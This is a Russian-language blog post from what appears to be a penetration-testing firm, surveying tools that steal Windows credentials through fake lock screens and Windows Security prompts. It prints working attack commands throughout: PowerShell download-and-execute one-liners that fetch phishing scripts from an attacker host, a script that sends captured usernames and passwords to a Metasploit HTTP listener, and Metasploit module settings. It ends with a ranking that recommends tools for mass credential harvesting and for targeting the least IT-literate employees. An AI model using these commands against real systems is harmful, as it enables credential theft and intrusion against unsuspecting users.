+7 (812) 677-17-05

Фишинг учетных данных Windows

#

В первом квартале 2020 года число фишинговых атак на пользователей по всему миру выросло вдвое по сравнению с аналогичным периодом 2019 года — с 9% до 18%. Такие данные приводит «Лаборатория Касперского».

В операционных системах семейства Windows у некоторых программ и процессов запрашивать учетные данные пользователя для аутентификации (например, в Outlook) для повышения привилегий выполнения (User Account Control) или просто для выхода из режима ожидания (Windows LockScreen) — нормально. Имитация такого поведения Windows позволяет получить учетные данные пользователей с их последующим применением на поздних этапах тестирования на проникновение. В этой статье собран дайджест из нескольких распространенных программ для фишинга через подмену экрана блокировки.

С#

Современные методики пентеста часто базируются на языке программирования C#, поскольку программы на нем могут выполняться через различные фреймворки (Cobalt Strike, Covenant и др.)

1) Утилита The FakeLogonScreen была разработана Arris Huijgen на C# и она не просто подменяет стандартный экран ввода пароля ОС, а делает это, используя параметры стандартного экрана, заданные в системе, что в разы повышает шансы не вызвать у пользователя подозрение и удачно получить его учетные данные для входа в систему.


FakeLogonScreen — запуск


FakeLogonScreen — блокировка экрана

При вводе пароля на фейковой странице входа FakeLogonScreen выполнит валидацию учетных данных в AD или локально, чтобы точно определить, верный ли пароль был введен. В дальнейшем пароль будет отображен в консоли пентестера.


FakeLogonScreen — Ввод учетных данных

Также в состав FakeLogonScreen входит второй вариант исполняемого файла, который сохраняет пойманные учетные данные в файл user.db локально на инфицированной машине. Данный файл может быть просмотрен с помощью команды type:

type C:\Users\testTHUser3\AppData\Local\Microsoft\user.db


FakeLogonScreen — сохранение в файл user.db

2) Похожим образом устроена программа SharpLocker, разработанная Matt Pickford. После запуска она также подменяет собой оригинальный экран входа в систему.


SharpLocker — блокировка экрана

Каждый введенный пользователем символ перехватывается, пока не будет выявлен весь пароль целиком. Стоит, однако, отметить, что данная утилита не выполняет проверку подлинности пароля и будет снифить все, что пользователь введет в поле пароля.


SharpLocker — фишинг пароля

Power Shell

Запросы учетных данных со стороны службы безопасности Windows очень распространены, поскольку ПО в корпоративной среде может регулярно требовать дополнительное подтверждение действий или переавторизацию. Microsoft Outlook, например, один из ярчайших представителей такого ПО, которое постоянно запрашивает у пользователей доменные учетные данные.

1. Утилита, которая маскируется под окно запроса со стороны безопасности Windows называется CredsLeaker. Для ее корректной работы требуется web-сервер, с которого она будет получать все необходимые файлы и куда будет сохранять учетные данные пользователей, а также наличие PowerShell, чтобы отправлять HTTP запросы на свой сервер. Все команды в дальнейшем будут выполнены из имеющегося в составе BAT-файла.


CredsLeaker — HTTP Delivery

Перед запуском run.bat-файла необходимо внести все необходимые изменения в конфигурационные файлы утилиты. Как только run.bat файл будет запущен, пользователь увидит окно Windows Security с запросом его учетных данных.


CredsLeaker — окно фишинга

Окно с запросом исчезнет, только если будут введены валидные учетные данные пользователя. Домен, имя компьютера, имя пользователя и пароль будут сохранены в файле creds.txt по указанному ниже пути:

/var/www/html/creds.txt


CredsLeaker — вывод в файл creds.txt

2. Matt Nelson разработал PowerShell скрипт, который вызывает окно запроса учетных данных Windows Security с последующей проверкой их валидности. Данное окно также не может быть закрыто пользователем, пока не будут введены актуальные учетные данные. Этот скрипт может быть выполнен удаленно, а введенные учетные данные будут отображены в консоли на машине «злоумышленника»:

 powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-LoginPrompt.ps1')); Invoke-LoginPrompt


Invoke-LoginPrompt — удаленный вызов


Invoke-LoginPrompt — окно фишинга

3. В составе Nishang framework тоже имеется PowerShell-скрипт, который создает фейковое окно запроса учетных данных пользователя.

Import-Module C:\Invoke-CredentialsPhish.ps1
 	Invoke-CredentialsPhish


Invoke-CredentialsPhish — локальный вызов и окно фишинга

Сгенерированное окно будет содержать информацию о том, что на выполнение данного действия требуется подтверждение в виде ввода учетных данных. Более опытные в плане ИБ пользователи могут заподозрить, что данное окно вызвано запуском некоего приложения в фоне, однако в корпоративной сети далеко не все могут обладать этими знаниями. Учетные данные, которые пользователь введет в диалоговом окне, будут отображены в консоли.


Invoke-CredentialsPhish — вывод собранных данных

Данный скрипт также может быть запущен удаленно:

powershell.exe -ep Bypass -c IEX ((New-Object Net.WebClient).DownloadString('http://10.10.0.5/Invoke-CredentialsPhish.ps1)); Invoke-CredentialsPhish

Rob Fuller в своем блоге описал атаку по фишингу учетных данных пользователя с использованием Metasploit и PowerShell. Metasploit Framework располагает в своем составе модулями, которые могут захватывать учетные данные пользователей из различных протоколов (FTP, SMB, HTTP и др.). Указанный ниже модуль используется для развертывания базового HTTP сервера с аутентификацией:

use auxiliary/server/capture/http_basic
set URIPATH /

PowerShell применяется для проведения атаки по фишингу учетных данных пользователя посредством генерации окна запроса Windows Security с последующей передачей собранных учетных данных на HTTP сервер, созданный ранее через Metasploit:

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName + "\" + [Environment]::UserName,[Environment]::UserDomainName);[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};
$wc = new-object net.webclient;
$wc.Headers.Add("User-Agent","Wget/1.9+cvs-stable (Red Hat modified)");
$wc.Proxy = [System.Net.WebRequest]::DefaultWebProxy;
$wc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultNetworkCredentials;
$wc.credentials = new-object system.net.networkcredential($cred.username, $cred.getnetworkcredential().password, '');
$result = $wc.downloadstring('http://10.10.0.5/');

Для изначального захвата учетных данных требуется использовать кодировку UTF-16LE с последующим конвертированием в Base64:

cat popup.txt | iconv -t UTF-16LE
 cat popup.txt | iconv -t UTF-16LE | base64 -w0


Конвертация кода в Base64

Выполнение указанного кода, локально или удаленно, приводит к появлению у пользователя окна запроса на авторизацию якобы со стороны Windows Security.

powershell.exe -ep bypass -enc <base64> 


Окно фишинга учетных данных

Модуль Metasploit получит учетные данные сразу после ввода со стороны пользователя.


Metasploit HTTP Server — получение учетных данных

Metasploit

Metasploit Framework имеет в своем составе модуль, способный самостоятельно вызвать фейковое окно с запросом авторизации Windows Security со стороны практически любого процесса в системе. Для корректной работы данного модуля требуется указать рабочую meterpreter сессию и процесс, от имени которого будет вызван фейковый запрос авторизации Windows Security.

use post/windows/gather/phish_windows_credentials
set SESSION 3
set PROCESS *
run


Metasploit Module — конфигурация

В данном случае символ * указывает модулю, чтобы он выполнял мониторинг всех процессов, которые запущены от имени системы (NT Authority\System), и вызвал диалоговое окно в тот момент, когда в системе будет запущен новый процесс от имени системы.


Metasploit Module — мониторинг по всем процессам

Как только новый процесс запустится, пользователю будет выдано диалоговое окно от имени данного процесса с запросом авторизации для якобы подтверждения дальнейшей работы.


Metasploit Module — окно фишинга

Как только пользователь введет учетные данные, они сразу же будут отображены в консоли Metasploit.


Metasploit Module — получение учетных данных

Также данный модуль может быть настроен на ожидание запуска конкретного процесса.


Metasploit Module — получение учетных данных через процесс notepad.exe

BASH

Lockphish — это еще одна утилита, которая способна выполнить фишинговую атаку с подменой окна входа в систему Windows. Темплейт окна входа в систему хранится на PHP-сервере и по умолчанию использует YouTube, чтобы выполнить редирект пользователя после ввода логина и пароля.

 bash lockphish.sh


LockPhish — запуск

На данном этапе потребуется прибегнуть к помощи социальной инженерии, чтобы заманить пользователя на веб-сайт, где расположены файлы экрана блокировки.


LockPhish — скачивание файла

В отличие от всех остальных утилит, расположение элементов на данном экране блокировки может быть не точным, запрос на авторизацию будет выведен от имени Администратора, а не от имени текущего аккаунта пользователя, а внешне окно блокировки стилизовано под Windows 10 Lockscreen. Все это в комплексе может очень сильно насторожить пользователя. Данная утилита также не имеет механизмов валидации введенного пароля.


LockPhish — экран блокировки

После того, как пользователь выполнит ввод учетных данных, будет выполнен редирект на веб-сайт youtube.com.


LockPhish — редирект

Учетные данные будут отображены в консоли.


LockPhish — собранные учетные данные

Представленные в статье методы будут эффективны, если пентестеру уже удалось закрепиться в системе (получить стабильную точку входа), но повысить привилегии или получить учетные данные пользователей другим путем не получается. При проведении подобных фишинговых атак, следует очень тщательно подбирать целевую аудиторию. Эффективность будет в разы выше, если целью окажутся наименее IT-грамотные сотрудники организации.

Краткий вердикт по всем протестированным ПО

  • FakeLogonScreen. Выглядит максимально правдоподобно, при этом использует стандартные параметры, установленные в системе. Умеет выполнять валидацию введенных учетных данных. (Лучший выбор)
  • SharpLocker. Не выполняет проверку подлинности, использованы стандартные обои windows для LockScreen, верстка самого локскрина слегка уходит вправо, что может насторожить пользователя. (Не рекомендуется к использованию, если есть возможность применить FakeLogonScreen)
  • CredsLeaker. Простота исполнения, генерирует аутентичное окно, но требует веб-сервер для работы. Если нужно сработать по одному пользователю, то наличие веб-сера — это скорее минус, если есть возможность запустить скрипт на всех компьютерах домена и массово «причесать» учетные данные, то веб-сервер — это, безусловно, плюс. (Рекомендовано для массового сбора учетных данных)
  • Invoke-LoginPrompt. Простота реализации, подойдет для точечного применения, создаваемое окно стилизовано под старые или серверные версии Windows. Может вызвать подозрения у пользователя. (Рекомендовано к использованию, но с осторожностью)
  • Invoke-CredentialsPhish. Все то же самое, что и у пациента выше.
  • Скрипт от Rob Fuller. Интеграция с metasploit, возможность массового применения, легкие танцы с бубном в виде конвертации. (Также отлично подойдет для массового сбора учетных данных)
  • Модуль Metasploit phish_windows_credentials. Полная интеграция с Metasploit (таки модуль), создаваемое окно старой версии. (Применять можно, но учитывайте IT-грамотность жертвы)
  • LockPhish. С одной стороны — криво сверстанный локскрин, без проверки подлинности, да еще и без учета текущего пользователя (Всегда просит пароль от Administrator). С другой стороны — единственный из пациентов, который может сработать через браузер. Отослали жертве ссылку и ждем. (Применять из коробки не рекомендуется, однако, если знаете логин конкретной жертвы, то перенастройте с Adminnistrator на него и будет уже не так плохо. Может даже и сработать)
16.07.2020 Блог
Читайте все свежие новости первыми. Подписывайтесь на нас в Telegram
Том Хантер Том Хантер Pentest Guru

Мистер Том Хантер, вдохновитель нашей компании по обеспечению кибербезопасности

Спасибо

Спасибо, что заполнили форму! Мы свяжемся с вами в ближайшее время по указанным контактным данным!

Обратный звонок

Заполните форму и наш специалист свяжется с вами в ближайшее время.

    Принимаю соглашение об использовании персональных данных